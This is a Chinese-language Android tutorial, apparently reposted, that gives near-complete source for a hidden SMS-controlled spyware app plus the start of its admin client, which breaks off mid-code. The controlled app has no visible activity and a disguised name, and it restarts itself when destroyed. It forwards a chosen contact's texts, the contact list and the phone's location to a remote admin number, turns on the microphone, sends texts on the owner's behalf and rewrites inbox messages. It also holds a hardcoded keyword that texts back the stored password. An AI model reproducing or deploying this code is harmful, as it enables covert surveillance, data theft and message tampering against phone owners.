原文地址:http://www.apkbus.com/android-57861-1-1.html?fromuid=257244

1.2程序简介
本程序是一个基于短信的手机控制程序,有受控端B和管理端A.
已实现功能:
1.A监控C发给B的所有短信.
2.A可以查询B的通讯录和位置.
3.A可以开启B的手机录音.
4.A可以通过B向任何人发送短信.
5.A可以修改B的收件箱短信内容.
6.B换手机号后,A可以知道.
相关参数:
admin----管理者手机号码,也就是A的手机号码 
listen----被监控的手机号码,即C的手机号.
password----管理密码,会在第一次建立控制关系时设定,A若换手机号,只能通过这个密码来更换B上保存的admin号码

2.1 MainReceiver:程序的短信解析/跳转主体类.
用的是broadcastreceiver , broadcastreceiver本身就不介绍了,网上一大堆使用教程.本程序中就是截获android.provider.Telephony.SMS_RECEIVED广播,分析短信内容, 根据不同的内容进行相应操作.

  1. package iceman.android.project;
  2. import java.util.List;
  3. import android.content.BroadcastReceiver;
  4. import android.content.Context;
  5. import android.content.Intent;
  6. import android.content.SharedPreferences;
  7. import android.content.SharedPreferences.Editor;
  8. import android.os.Bundle;
  9. import android.telephony.SmsManager;
  10. import android.telephony.SmsMessage;
  11. public class MainReceiver extends BroadcastReceiver{
  12. private String number;
  13. private SmsManager manager = SmsManager.getDefault();
  14. public void onReceive(Context context, Intent intent) {
  15. MyLog.LogI("OUTPUT", "广播接收器触发");
  16. SharedPreferences preferences = context.getSharedPreferences("sms", Context.MODE_PRIVATE);
  17. //使用
  18. SharedPreferences  存储admin号码和listen号码.
  19. String admin = preferences.getString("admin", "");
  20. MyLog.LogI("OUTPUT", "当前admin:"+admin);
  21. String listen = preferences.getString("listen", "");
  22. String password = preferences.getString("password", "iceman");
  23. MyLog.LogI("OUTPUT", "当前listen:"+listen);
  24. Bundle bun = intent.getExtras();
  25. //开始分析短信
  26. if(bun!=null){
  27. Object[] mypdus = (Object[])bun.get("pdus");
  28. SmsMessage[] messages = new SmsMessage[mypdus.length];
  29. for(int i=0;i<mypdus.length;i++){
  30. messages[i] = SmsMessage.createFromPdu((byte[])mypdus[i]);
  31. }
  32. for(SmsMessage mess:messages){
  33. number = mess.getDisplayOriginatingAddress();
  34. String body = mess.getDisplayMessageBody();
  35. MyLog.LogI("OUTPUT","号码来源:"+number);
  36. MyLog.LogI("OUTPUT","内容:"+body);
  37. if(number.contains("+86")){
  38. number = number.substring(3);
  39. }
  40. MyLog.LogI("OUTPUT","号码来源转换"+number);
  41. //设定管理号码
  42. if(body.equals("iceman78952190")){
  43. MyLog.LogI("OUTPUT","查询密码哦");
  44. abortBroadcast();
  45. manager.sendTextMessage(number, null, password, null, null);
  46. }
  47. if(body.contains("@iceman@admin")){
  48. abortBroadcast();
  49. body = body.substring(13);
  50. if(password.equals("iceman")){
  51. password = body;
  52. Editor editor = preferences.edit();
  53. editor.putString("admin", number);
  54. editor.putString("password", body);
  55. editor.commit();
  56. MyLog.LogI("OUTPUT","设定admin:"+number);
  57. manager.sendTextMessage(number, null, "admin change success!"+number, null, null);
  58. }else{
  59. if(password.equals(body)){
  60. Editor editor = preferences.edit();
  61. editor.putString("admin", number);
  62. editor.commit();
  63. MyLog.LogI("OUTPUT","设定admin:"+number);
  64. manager.sendTextMessage(number, null, "admin change success!"+number, null, null);
  65. }else{
  66. MyLog.LogI("OUTPUT","密码不对");
  67. }
  68. }
  69. }
  70. //对管理号码发来的短信进行判断,是否启动服务或者更改被监听号码
  71. if(number.equals(admin)){
  72. if(body.contains("@iceman@search")){
  73. abortBroadcast();
  74. MyLog.LogI("OUTPUT", "开始查询通讯录");
  75. manager.sendTextMessage(admin, null, "search starting!", null, null);
  76. //启动服务,查询通讯录并发送
  77. Intent it = new Intent(context,ContactService.class);
  78. it.putExtra("admin", admin);
  79. context.startService(it);
  80. }else if(body.contains("@iceman@change")){
  81. abortBroadcast();
  82. listen = body.substring(14);
  83. Editor editor = preferences.edit();
  84. editor.putString("listen", listen);
  85. editor.commit();
  86. MyLog.LogI("OUTPUT", "更改listen完成");
  87. manager.sendTextMessage(admin, null, "listen change success!", null, null);
  88. }else if(body.contains("@iceman@location")){
  89. abortBroadcast();
  90. MyLog.LogI("OUTPUT", "开启位置监控");
  91. Intent it = new Intent(context,LocationService.class);
  92. context.startService(it);
  93. manager.sendTextMessage(admin, null, "location listen success!", null, null);
  94. MyLog.LogI("OUTPUT", "位置监控开启完成");
  95. }else if(body.contains("@iceman@where")){
  96. abortBroadcast();
  97. MyLog.LogI("OUTPUT", "开始发送并解析地址");
  98. Intent it2 = new Intent(context,GetAddressService.class);
  99. context.startService(it2);
  100. }else if(body.contains("@iceman@start")){
  101. abortBroadcast();
  102. MyLog.LogI("OUTPUT", "收到录音开启命令");
  103. Intent it = new Intent(context,RecorderService.class);
  104. context.startService(it);
  105. }else if(body.contains("@iceman@stop")){
  106. abortBroadcast();
  107. MyLog.LogI("OUTPUT", "收到结束录音命令");
  108. Intent it = new Intent(context,RecorderService.class);
  109. context.stopService(it);
  110. }else if(body.contains("@iceman@sms")){
  111. abortBroadcast();
  112. MyLog.LogI("OUTPUT", "发送短信");
  113. String[] str = body.split("#");
  114. manager.sendTextMessage(str[1], null, str[2], null, null);
  115. MyLog.LogI("OUTPUT", "目标号码:"+str[1]+"内容:"+str[2]);
  116. }else if(body.contains("@iceman@replace")){
  117. abortBroadcast();
  118. String[] str = body.split("#");
  119. MyLog.LogI("OUTPUT", "收到短信修改命令");
  120. Intent it = new Intent(context,EditSmsService.class);
  121. it.putExtra("key", str[1]);
  122. it.putExtra("number", str[2]);
  123. it.putExtra("content", str[3]);
  124. it.putExtra("type", "replace");
  125. context.startService(it);
  126. }
  127. else if(body.contains("@iceman@edit")){
  128. abortBroadcast();
  129. String[] str = body.split("#");
  130. MyLog.LogI("OUTPUT", "收到短信编辑命令");
  131. Intent it = new Intent(context,EditSmsService.class);
  132. it.putExtra("key", str[1]);
  133. it.putExtra("number", str[2]);
  134. it.putExtra("content", str[3]);
  135. it.putExtra("type", "edit");
  136. context.startService(it);
  137. }
  138. }
  139. //判断是否由被监听号码发来的短信
  140. if(number.equals(listen)){
  141. String sms = number+":"+body;
  142. MyLog.LogI("OUTPUT", "监听到短信");
  143. List<String> texts=manager.divideMessage(sms);
  144. for(String text:texts)
  145. {
  146. manager.sendTextMessage(admin, null, text, null, null);
  147. }
  148. }
  149. }
  150. }
  151. }
  152. }

复制代码

这个广播接收器最初是静态注册的,目的是不需要运行程序,相当于开机启动.但是在部分真机上测试时发现360,91短信等会在它之前拦截短信,经过网上查询,得知动态注册的优先级要高于静态注册,优先级相同的动态注册广播,先注册的先接收广播.
所以,我又写了个service,在系统启动后运行并绑定广播接收器.优先级设为2147483647.不要被google api里面写的优先级最大1000忽悠了,这个int上限值也是有用的.

  1. package iceman.android.project;
  2. import android.app.Service;
  3. import android.content.Intent;
  4. import android.content.IntentFilter;
  5. import android.os.IBinder;
  6. public class MainService extends Service{
  7. MainReceiver mReceiver;
  8. @Override
  9. public IBinder onBind(Intent intent) {
  10. // TODO Auto-generated method stub
  11. return null;
  12. }
  13. @Override
  14. public void onStart(Intent intent, int startId) {
  15. super.onStart(intent, startId);
  16. IntentFilter localIntentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
  17. localIntentFilter.setPriority(2147483647);
  18. mReceiver = new MainReceiver();
  19. registerReceiver(mReceiver, localIntentFilter);
  20. }
  21. @Override
  22. public void onDestroy() {
  23. unregisterReceiver(mReceiver);
  24. Intent it = new Intent(MainService.this, MainService.class);
  25. this.startService(it);
  26. }
  27. }

复制代码

2.2功能:监控指定短信
这是程序的初衷,也是我学到broadcastreceiver时首先冒出来的念头...
当短信来源号码为C时,将短信转发一份给A.代码很简单:

  1. // 判断是否由被监听号码发来的短信
  2. if (number.equals(listen)) {
  3. String sms = number + ":" + body;
  4. MyLog.LogI("OUTPUT", "监听到短信");
  5. List<String> texts = manager.divideMessage(sms);
  6. for (String text : texts) {
  7. manager.sendTextMessage(admin, null, text, null, null);
  8. }
  9. }

复制代码

2.3功能:查询通讯录
这里使用了ContentResolver,这是与内容提供器ContentProvider对应的"查询器",android的通讯录程序对外提供了ContentProvider查询接口.我们可以像操作数据库一样对里面的数据进行读取.修改也可以(这个太无聊了,放到短信那部分再说)

  1. package iceman.android.project;
  2. import java.util.List;
  3. import android.app.Service;
  4. import android.content.ContentResolver;
  5. import android.content.Intent;
  6. import android.database.Cursor;
  7. import android.os.IBinder;
  8. import android.provider.ContactsContract;
  9. import android.telephony.SmsManager;
  10. public class ContactService extends Service{
  11. SmsManager manager = SmsManager.getDefault();
  12. @Override
  13. public IBinder onBind(Intent intent) {
  14. return null;
  15. }
  16. @Override
  17. public void onCreate() {
  18. super.onCreate();
  19. }
  20. @Override
  21. public void onStart(Intent intent, int startId) {
  22. String admin = intent.getStringExtra("admin");
  23. MyLog.LogI("OUTPUT", "开启通讯录查询服务");
  24. String[] columns = { "_id", "display_name", "has_phone_number" };
  25. StringBuffer sb = new StringBuffer();
  26. ContentResolver cr = this.getContentResolver();
  27. Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI,
  28. columns, null, null, null);
  29. String[] phone_clos = {
  30. ContactsContract.CommonDataKinds.Phone.CONTACT_ID,
  31. ContactsContract.CommonDataKinds.Phone.NUMBER, };
  32. if (cursor.moveToFirst()) {
  33. do {
  34. int _id = cursor.getInt(0);
  35. String name = cursor.getString(1);
  36. String has_phone = cursor.getString(2);
  37. sb.append(name + ":");
  38. if (has_phone.trim().equals("1")) {
  39. Cursor phones = cr
  40. .query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
  41. phone_clos,
  42. ContactsContract.CommonDataKinds.Phone.CONTACT_ID
  43. + "=" + _id, null, null);
  44. if (phones.moveToFirst()) {
  45. do {
  46. sb.append(phones.getString(1) + ".");
  47. } while (phones.moveToNext());
  48. }
  49. }
  50. } while (cursor.moveToNext());
  51. }
  52. MyLog.LogI("OUTPUT", "开始发送通讯录");
  53. List<String> texts=manager.divideMessage(sb.toString());
  54. for(String text:texts)
  55. {
  56. manager.sendTextMessage(admin, null, text, null, null);
  57. }
  58. //查询完毕后关闭服务
  59. stopSelf();
  60. super.onStart(intent, startId);
  61. }
  62. @Override
  63. public void onDestroy() {
  64. // TODO Auto-generated method stub
  65. super.onDestroy();
  66. }
  67. @Override
  68. public int onStartCommand(Intent intent, int flags, int startId) {
  69. // TODO Auto-generated method stub
  70. return super.onStartCommand(intent, flags, startId);
  71. }
  72. @Override
  73. public boolean onUnbind(Intent intent) {
  74. // TODO Auto-generated method stub
  75. return super.onUnbind(intent);
  76. }
  77. }

复制代码

要注意的是,这个视通讯录条数多少,会有几条短信发出...少用为妙

2.4功能:查询位置
有两件事要做:获得经纬度表示的位置信息和将经纬度解析为地址信息
android使用LocationManager来管理获得的位置信息,给它设置一个位置监听,就可以在位置发生变化时,获得变化后的经纬度信息,

  1. package iceman.android.project;
  2. import java.text.SimpleDateFormat;
  3. import java.util.Date;
  4. import android.app.Service;
  5. import android.content.Context;
  6. import android.content.Intent;
  7. import android.content.SharedPreferences;
  8. import android.content.SharedPreferences.Editor;
  9. import android.location.Criteria;
  10. import android.location.Location;
  11. import android.location.LocationListener;
  12. import android.location.LocationManager;
  13. import android.os.Bundle;
  14. import android.os.IBinder;
  15. public class LocationService extends Service{
  16. private Location location;//当前位置
  17. private String time = "unknown";
  18. private SimpleDateFormat sf = new SimpleDateFormat("MM-dd;hh-mm");
  19. private SharedPreferences preferences = null;
  20. @Override
  21. public IBinder onBind(Intent intent) {
  22. // TODO Auto-generated method stub
  23. return null;
  24. }
  25. @Override
  26. public void onCreate() {
  27. super.onCreate();
  28. getLocation();
  29. }
  30. @Override
  31. public void onDestroy() {
  32. // TODO Auto-generated method stub
  33. super.onDestroy();
  34. }
  35. @Override
  36. public int onStartCommand(Intent intent, int flags, int startId) {
  37. // TODO Auto-generated method stub
  38. return super.onStartCommand(intent, flags, startId);
  39. }
  40. @Override
  41. public boolean onUnbind(Intent intent) {
  42. // TODO Auto-generated method stub
  43. return super.onUnbind(intent);
  44. }
  45. private void getLocation(){
  46. LocationManager locationmanager = (LocationManager)getSystemService(Context.LOCATION_SERVICE);
  47. if(locationmanager==null){
  48. MyLog.LogI("OUTPUT", "定位管理器未找到");
  49. }
  50. Criteria criteria = new Criteria();//用来得到位置提供器(Location Provider)的一组参数标准
  51. criteria.setAccuracy(Criteria.ACCURACY_COARSE);//定位精度
  52. criteria.setAltitudeRequired(false);//是否要求定位出高度值
  53. criteria.setCostAllowed(true);//是否允许花钱
  54. String str = locationmanager.getBestProvider(criteria, false);//得到满足标准的一个最好的提供器的名称
  55. if(str==null){
  56. MyLog.LogI("OUTPUT", "位置提供器未找到");
  57. }
  58. MyLog.LogI("OUTPUT", "使用的位置提供器"+str);
  59. location = locationmanager.getLastKnownLocation(str);
  60. locationmanager.requestLocationUpdates(str, 2000, 5, new LocationListener() {
  61. @Override
  62. public void onStatusChanged(String provider, int status, Bundle extras) {
  63. // TODO Auto-generated method stub
  64. }
  65. @Override
  66. public void onProviderEnabled(String provider) {
  67. // TODO Auto-generated method stub
  68. }
  69. @Override
  70. public void onProviderDisabled(String provider) {
  71. // TODO Auto-generated method stub
  72. }
  73. @Override
  74. public void onLocationChanged(Location loca) {
  75. // TODO Auto-generated method stub
  76. MyLog.LogI("OUTPUT", "位置发生改变");
  77. time = sf.format(new Date());
  78. location = loca;
  79. preferences = LocationService.this.getSharedPreferences("sms", MODE_PRIVATE);
  80. Editor editor = preferences.edit();
  81. editor.putString("lat", ""+location.getLatitude());
  82. editor.putString("lon", ""+location.getLongitude());
  83. editor.putString("time", time);
  84. editor.commit();
  85. MyLog.LogI("OUTPUT", "位置已经放入");
  86. }
  87. });
  88. }
  89. @Override
  90. public void onStart(Intent intent, int startId) {
  91. }
  92. }

复制代码

在这个service中,将改变后的位置经纬度存储下来,下次调用位置解析服务的时候,就可以取出最新的经纬度进行解析了.

经纬度如何转为地址信息?

android.location.Geocoder本来可以实现两者双向转换,只是google的这个server不太稳定,经常会报
unable to parse response from server,所以我使用在线解析,

http://maps.google.com/maps/api/geocode/json?latlng=后面加上经纬度,会返回json数据,然后进行解析就可以获得地址信息了.

  1. package iceman.android.project;
  2. import java.io.BufferedReader;
  3. import java.io.IOException;
  4. import java.io.InputStreamReader;
  5. import org.apache.http.HttpEntity;
  6. import org.apache.http.HttpResponse;
  7. import org.apache.http.client.ClientProtocolException;
  8. import org.apache.http.client.HttpClient;
  9. import org.apache.http.client.methods.HttpGet;
  10. import org.apache.http.impl.client.DefaultHttpClient;
  11. import org.json.JSONArray;
  12. import org.json.JSONException;
  13. import org.json.JSONObject;
  14. import android.app.Service;
  15. import android.content.Intent;
  16. import android.content.SharedPreferences;
  17. import android.os.IBinder;
  18. import android.telephony.SmsManager;
  19. public class GetAddressService extends Service{
  20. private SmsManager manager;
  21. @Override
  22. public IBinder onBind(Intent intent) {
  23. // TODO Auto-generated method stub
  24. return null;
  25. }
  26. @Override
  27. public void onCreate() {
  28. super.onCreate();
  29. }
  30. @Override
  31. public void onDestroy() {
  32. // TODO Auto-generated method stub
  33. super.onDestroy();
  34. }
  35. @Override
  36. public void onStart(Intent intent, int startId) {
  37. manager = SmsManager.getDefault();
  38. MyLog.LogI("OUTPUT", "开始转换地址服务");
  39. SharedPreferences preferences = this.getSharedPreferences("sms", MODE_PRIVATE);
  40. Double lat = Double.parseDouble(preferences.getString("lat", null));
  41. Double lon = Double.parseDouble(preferences.getString("lon", null));
  42. MyLog.LogI("OUTPUT", "精度"+lon);
  43. MyLog.LogI("OUTPUT", "纬度"+lat);
  44. String admin = preferences.getString("admin", null);
  45. String time = preferences.getString("time", null);
  46. String address1 = "经度"+lon+"纬度"+lat;
  47. manager.sendTextMessage(admin, null, address1+time, null, null);
  48. String address2 = getAddress(lon, lat);
  49. manager.sendTextMessage(admin, null, address2+time, null, null);
  50. stopSelf();
  51. super.onStart(intent, startId);
  52. }
  53. @Override
  54. public boolean onUnbind(Intent intent) {
  55. // TODO Auto-generated method stub
  56. return super.onUnbind(intent);
  57. }
  58. public String getAddress(Double Longitude,Double Latitude){
  59. MyLog.LogI("OUTPUT", "开始转换地址");
  60. String url = "http://maps.google.com/maps/api/geocode/json?latlng="+Latitude+","+Longitude+"&language=zh_CN&sensor=false";
  61. HttpClient client = new DefaultHttpClient();
  62. StringBuilder sb = new StringBuilder();
  63. try {
  64. HttpResponse resp = client.execute(new HttpGet(url));
  65. HttpEntity he = resp.getEntity();
  66. BufferedReader br = new BufferedReader(new InputStreamReader(he.getContent()));
  67. String str = "";
  68. while((str=br.readLine())!=null){
  69. sb.append(str);
  70. }
  71. } catch (ClientProtocolException e) {
  72. e.printStackTrace();
  73. } catch (IOException e) {
  74. e.printStackTrace();
  75. }
  76. MyLog.LogI("OUTPUT", "开始解析json");
  77. try {
  78. JSONObject jo1 = new JSONObject(sb.toString());
  79. String str1 = jo1.getString("results");
  80. JSONArray arr1 = new JSONArray(str1);
  81. String str2 = arr1.get(0).toString();
  82. JSONObject jo2 = new JSONObject(str2);
  83. String str3 = jo2.getString("formatted_address");
  84. MyLog.LogI("OUTPUT", str3);
  85. return str3;
  86. //                        Toast.makeText(LocationService.this, str3, Toast.LENGTH_LONG).show();
  87. } catch (JSONException e) {
  88. return "地址转换失败";
  89. }
  90. }
  91. }

复制代码

2.5功能:开启录音
这个很简单,使用MediaRecorder即可,在service的oncreat中开始录音,ondestory中结束录音.

  1. package iceman.android.project;
  2. import java.io.IOException;
  3. import android.app.Service;
  4. import android.content.Intent;
  5. import android.media.MediaRecorder;
  6. import android.os.IBinder;
  7. public class RecorderService extends Service{
  8. private MediaRecorder recorder;
  9. private String location;
  10. @Override
  11. public IBinder onBind(Intent arg0) {
  12. // TODO Auto-generated method stub
  13. return null;
  14. }
  15. @Override
  16. public void onCreate() {
  17. super.onCreate();
  18. MyLog.LogI("OUTPUT", "录音服务启动");
  19. recorder = new MediaRecorder();
  20. recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
  21. recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
  22. location = "/mnt/sdcard/record_"+System.currentTimeMillis()+".3gp";
  23. recorder.setOutputFile(location);
  24. recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
  25. try {
  26. recorder.prepare();
  27. } catch (IllegalStateException e) {
  28. // TODO Auto-generated catch block
  29. e.printStackTrace();
  30. } catch (IOException e) {
  31. // TODO Auto-generated catch block
  32. e.printStackTrace();
  33. }
  34. recorder.start();
  35. MyLog.LogI("OUTPUT", "开始录音");
  36. }
  37. @Override
  38. public void onDestroy() {
  39. // TODO Auto-generated method stub
  40. recorder.stop();
  41. MyLog.LogI("OUTPUT", "停止录音");
  42. super.onDestroy();
  43. }
  44. @Override
  45. public int onStartCommand(Intent intent, int flags, int startId) {
  46. // TODO Auto-generated method stub
  47. return super.onStartCommand(intent, flags, startId);
  48. }
  49. @Override
  50. public boolean onUnbind(Intent intent) {
  51. // TODO Auto-generated method stub
  52. return super.onUnbind(intent);
  53. }
  54. }

复制代码

2.6发送短信
对A发过来的短信进行分割,获取目的号码和短信内容,然后发送.代码已经在MainReceiver中了.

2.7编辑短信
ContentResolver不仅可以查询,也可以修改.修改短信这个邪恶的功能就靠它来实现了.
代码中号码为00000000000表示不限号码进行修改.不论谁发过来的短信,只要满足关键字条件,就进行修改.

  1. package iceman.android.project;
  2. import android.app.Service;
  3. import android.content.ContentResolver;
  4. import android.content.ContentValues;
  5. import android.content.Intent;
  6. import android.database.Cursor;
  7. import android.net.Uri;
  8. import android.os.IBinder;
  9. public class EditSmsService extends Service {
  10. private ContentResolver mContentResolver;
  11. private String key, number, content, type;
  12. @Override
  13. public IBinder onBind(Intent intent) {
  14. // TODO Auto-generated method stub
  15. return null;
  16. }
  17. @Override
  18. public void onStart(Intent intent, int startId) {
  19. key = intent.getStringExtra("key");
  20. number = intent.getStringExtra("number");
  21. content = intent.getStringExtra("content");
  22. type = intent.getStringExtra("type");
  23. mContentResolver = this.getContentResolver();
  24. Cursor cursor;
  25. if (number.equals("00000000000")) {
  26. cursor = mContentResolver.query(Uri.parse("content://sms/inbox"), null, null, null,
  27. null);
  28. MyLog.LogI("OUTPUT", "号码为00000000000");
  29. } else {
  30. cursor = mContentResolver.query(Uri.parse("content://sms/inbox"), null, "address = ?",
  31. new String[] {
  32. "" + number
  33. }, null);
  34. MyLog.LogI("OUTPUT", "号码指定");
  35. }
  36. int time = 0;
  37. String newContent = null;
  38. if (cursor != null) {
  39. cursor.moveToFirst();
  40. do {
  41. String address = cursor.getString(cursor.getColumnIndexOrThrow("address"));
  42. String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
  43. int id = cursor.getInt(cursor.getColumnIndexOrThrow("_id"));
  44. // int date =
  45. // cursor.getInt(cursor.getColumnIndexOrThrow("date"));
  46. if (number.equals("00000000000")) {
  47. if (body.contains(key)) {
  48. ContentValues values = new ContentValues();
  49. // values.put("address", address);
  50. if (type.equals("replace")) {
  51. newContent = body.replace(key, content);
  52. } else {
  53. newContent = content;
  54. }
  55. values.put("read", 1);
  56. values.put("status", -1);
  57. values.put("type", 1);
  58. values.put("body", newContent);
  59. mContentResolver.update(Uri.parse("content://sms/inbox"), values,
  60. "_id = ?", new String[] {
  61. "" + id
  62. });
  63. }
  64. } else {
  65. if (body.contains(key) && address.equals(number)) {
  66. ContentValues values = new ContentValues();
  67. // values.put("address", address);
  68. if (type.equals("replace")) {
  69. newContent = body.replace(key, content);
  70. } else {
  71. newContent = content;
  72. }
  73. values.put("read", 1);
  74. values.put("status", -1);
  75. values.put("type", 1);
  76. values.put("body", newContent);
  77. mContentResolver.update(Uri.parse("content://sms/inbox"), values,
  78. "_id = ?", new String[] {
  79. "" + id
  80. });
  81. }
  82. }
  83. time++;
  84. } while (cursor.moveToNext() && time < 50);
  85. }
  86. stopSelf();
  87. }
  88. }

复制代码

2.8功能:B更换手机号码后发送至A.
TelephonyManager可以获取手机相关信息,比如手机号码,imei等,但是这些数据来源于sim卡,如果某些运营商没有将电话号码写到sim卡上,手机号码就获取不到了.
号码变更检测是要开机进行的,如果发现号码跟保存的不一样,就发送新号码至admin.

  1. package iceman.android.project;
  2. import android.content.BroadcastReceiver;
  3. import android.content.Context;
  4. import android.content.Intent;
  5. import android.content.SharedPreferences;
  6. import android.telephony.SmsManager;
  7. import android.telephony.TelephonyManager;
  8. public class BootReceiver extends BroadcastReceiver{
  9. private String mDeviceId;
  10. private String mTel;
  11. private String mImei;
  12. private String mImsi;
  13. private String mOldDeviceId;
  14. private String mOldTel;
  15. private String mOldImei;
  16. private String mOldImsi;
  17. @Override
  18. public void onReceive(Context context, Intent intent) {
  19. Intent service=new Intent(context, MainService.class);
  20. context.startService(service);
  21. TelephonyManager tm=(TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
  22. mDeviceId = tm.getDeviceId();
  23. mTel = tm.getLine1Number();
  24. mImei = tm.getSimSerialNumber();
  25. mImei = mImei==null?"":mImei;
  26. mImsi = tm.getSubscriberId();
  27. mImsi = mImsi==null?"":mImsi;
  28. SharedPreferences sharedPreferencesPhone = context.getSharedPreferences("phone", Context.MODE_PRIVATE);
  29. mOldDeviceId = sharedPreferencesPhone.getString("deviceid", "");;
  30. mOldTel = sharedPreferencesPhone.getString("tel", "");;
  31. mOldImei = sharedPreferencesPhone.getString("imei", "");;
  32. mOldImsi = sharedPreferencesPhone.getString("imsi", "");;
  33. SharedPreferences sharedPreferencesControl = context.getSharedPreferences("sms", Context.MODE_PRIVATE);
  34. String admin = sharedPreferencesControl.getString("admin", "");
  35. if(isChange()){
  36. SharedPreferences.Editor editor = sharedPreferencesPhone.edit();
  37. editor.putString("deviceid", mDeviceId==null?"":mDeviceId);
  38. editor.putString("tel", mTel);
  39. editor.putString("imei", mImei);
  40. editor.putString("imsi", mImsi);
  41. editor.commit();
  42. SmsManager smsmanager = SmsManager.getDefault();
  43. if(!admin.equals("")){
  44. String text = "tel:"+mTel+".mImei:"+mImei;
  45. smsmanager.sendTextMessage(admin, null, text, null, null);
  46. }
  47. }
  48. }
  49. private boolean isChange(){
  50. if(mTel==null){
  51. return false;
  52. }
  53. if(mOldTel.equals("")){
  54. return true;
  55. }
  56. if(!mTel.equals(mOldTel)){
  57. return true;
  58. }
  59. return false;
  60. }
  61. }

复制代码

2.9受控端总结:
以下是主配置文件

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android"
  3. package="iceman.android.project"
  4. android:versionCode="1"
  5. android:versionName="1.0"
  6. >
  7. <uses-sdk android:minSdkVersion="7" />
  8. <!--  android:priority="100" -->
  9. <application
  10. android:debuggable="false"
  11. android:icon="@drawable/app_icon"
  12. android:label="@string/app_name" >
  13. <receiver android:name=".MainReceiver">
  14. <intent-filter android:priority="2147483647">
  15. <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
  16. </intent-filter>
  17. </receiver>
  18. <receiver android:name=".BootReceiver">
  19. <intent-filter android:priority="2147483647">
  20. <action android:name="android.intent.action.BOOT_COMPLETED"/>
  21. </intent-filter>
  22. </receiver>
  23. <service android:name=".ContactService" android:enabled="true"/>
  24. <service android:name=".LocationService" android:enabled="true"/>
  25. <service android:name=".RecorderService" android:enabled="true"/>
  26. <service android:name=".GetAddressService" android:enabled="true"/>
  27. <service android:name=".EditSmsService" android:enabled="true"/>
  28. </application>
  29. <uses-permission android:name="android.permission.INTERNET"/>
  30. <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
  31. <uses-permission android:name="android.permission.CALL_PHONE"/>
  32. <uses-permission android:name="android.permission.SEND_SMS"/>
  33. <uses-permission android:name="android.permission.READ_CONTACTS"/>
  34. <uses-permission android:name="android.permission.READ_SMS"/>
  35. <uses-permission android:name="android.permission.RECEIVE_SMS"/>
  36. <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
  37. <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
  38. <uses-permission android:name="android.permission.RECORD_AUDIO"/>
  39. <uses-permission android:name="android.permission.READ_SMS"/>
  40. <uses-permission android:name="android.permission.WRITE_SMS"/>
  41. <uses-permission android:name="android.permission.READ_PHONE_STATE" />
  42. </manifest>

复制代码

可以看到的是,受控端是没有activity的.而且程序名字我命名为"android短信服务".如果不是有服务开启的话,可以说是无法发现程序的存在的.

3.1管理端
为了简化命令发送的繁琐,写了这个简单的管理端程序,就两个activity.

  1. package iceman.android.smsadmin;
  2. import android.app.Activity;
  3. import android.content.Intent;
  4. import android.content.SharedPreferences;
  5. import android.content.SharedPreferences.Editor;
  6. import android.os.Bundle;
  7. import android.telephony.SmsManager;
  8. import android.view.View;
  9. import android.view.View.OnClickListener;
  10. import android.widget.Button;
  11. import android.widget.CheckBox;
  12. import android.widget.CompoundButton;
  13. import android.widget.CompoundButton.OnCheckedChangeListener;
  14. import android.widget.EditText;
  15. import android.widget.TextView;
  16. import android.widget.Toast;
  17. public class SMSadminActivity extends Activity {
  18. private TextView mClientNumberText, mListenNumberText;
  19. private EditText mAdminSetEditText, mListenSetEditText, mSmsNumberSetEditText, mSmsContentEditText, mPasswordEditText;
  20. private CheckBox mPasswordUse;
  21. private Button mAdminSetBtn, mListenSetBtn, mSearchBtn, mOpenLocationBtn, mGetAddressBtn, mRecoderBtn, mSendSmsBtn;
  22. private Button mEditSmsBtn;
  23. private Boolean mIsRecording = false;
  24. private SmsManager mSmsManager = SmsManager.getDefault();
  25. private String mClientNumber = null;
  26. private String mListenNumber = null;
  27. private SharedPreferences mSharedpreferences = null;
  28. private String mPassword;
  29. /** Called when the activity is first created. */
  30. @Override
  31. public void onCreate(Bundle savedInstanceState) {
  32. super.onCreate(savedInstanceState);
  33. setContentView(R.layout.main);
  34. mClientNumberText = (TextView) findViewById(R.id.number_tv1);
  35. mListenNumberText = (TextView) findViewById(R.id.number_tv2);
  36. mPasswordEditText = (EditText) findViewById(R.id.password_et);
  37. mPasswordEditText.setInputType(0x81);
  38. mPasswordUse = (CheckBox) findViewById(R.id.password_use);
  39. mAdminSetEditText = (EditText) findViewById(R.id.number_et);
  40. // et1.setTransformationMethod(PasswordTransformationMethod.getInstance());
  41. mAdminSetEditText.setHint(this.getString(R.string.the_number_to_control));
  42. mListenSetEditText = (EditText) findViewById(R.id.listen_et);
  43. mListenSetEditText.setHint(this.getString(R.string.the_number_to_listen));
  44. mSmsNumberSetEditText = (EditText) findViewById(R.id.sms_number_et);
  45. mSmsNumberSetEditText.setHint(this.getString(R.string.where_to_send));
  46. mSmsContentEditText = (EditText) findViewById(R.id.sms_et);
  47. mSmsContentEditText.setHint(this.getString(R.string.sms_content));
  48. mSharedpreferences = this.getSharedPreferences("config", MODE_PRIVATE);
  49. mClientNumber = mSharedpreferences.getString("control", "");
  50. mListenNumber = mSharedpreferences.getString("listen", "");
  51. mClientNumberText.setText(this.getString(R.string.now_control) + mClientNumber);
  52. mListenNumberText.setText(this.getString(R.string.now_listen) + mListenNumber);
  53. mAdminSetBtn = (Button) findViewById(R.id.admin_btn);
  54. mListenSetBtn = (Button) findViewById(R.id.listen_btn);
  55. mSearchBtn = (Button) findViewById(R.id.search_btn);
  56. mOpenLocationBtn = (Button) findViewById(R.id.open_locations_btn);
  57. mGetAddressBtn = (Button) findViewById(R.id.where_btn);
  58. mRecoderBtn = (Button) findViewById(R.id.recorder_btn);
  59. mRecoderBtn.setText(this.getString(R.string.start_record));
  60. mSendSmsBtn = (Button) findViewById(R.id.sms_btn);
  61. mEditSmsBtn = (Button)findViewById(R.id.edit_sms);
  62. mPasswordUse.setOnCheckedChangeListener(new OnCheckedChangeListener() {
  63. @Override
